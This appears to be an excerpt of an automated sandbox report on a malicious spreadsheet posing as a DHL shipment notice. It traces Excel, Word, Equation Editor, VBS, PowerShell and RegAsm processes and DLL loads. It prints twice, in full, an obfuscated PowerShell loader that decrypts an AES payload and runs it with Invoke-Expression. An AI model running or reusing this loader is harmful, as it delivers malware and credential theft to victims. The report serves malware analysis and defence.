            Source: RegAsm.exe, RegAsm.exe, 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
            Source: RegAsm.exe, RegAsm.exe, 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
            Source: RegAsm.exe, RegAsm.exe, 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
            Source: DHL Shipment Notification 490104998009.xlsReversingLabs: Detection: 23%
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeEvasive API call chain: __getmainargs,DecisionNodes,exit
            Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS"
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\lbvlkbmzmwfnyoxgjysjrgc"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\vvawltxaiexsactkaincctxyki"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yxfommiuwmpxlihojtzefxrplotjp"
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" Jump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\lbvlkbmzmwfnyoxgjysjrgc"Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\vvawltxaiexsactkaincctxyki"Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yxfommiuwmpxlihojtzefxrplotjp"Jump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64win.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: wow64cpu.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: msi.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: cryptsp.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rpcrtremote.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dwmapi.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: version.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: secur32.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winhttp.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: webio.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: winnsi.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: nlaapi.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: rasadhlp.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: propsys.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: ntmarta.dllJump to behavior
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXESection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64win.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wow64cpu.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: dwmapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64win.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wow64cpu.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rpcrtremote.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcrypt.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: webio.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: credssp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64win.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64cpu.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: samcli.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msacm32.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dwmapi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: shcore.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rstrtmgr.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: bcrypt.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: webio.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: nlaapi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rpcrtremote.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64win.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64cpu.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: samcli.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msacm32.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dwmapi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rpcrtremote.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64win.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64cpu.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: samcli.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msacm32.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dwmapi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: pstorec.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64win.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wow64cpu.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: samcli.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msacm32.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dwmapi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mozglue.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dbghelp.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msvcp140.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: vcruntime140.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ucrtbase.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: wsock32.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
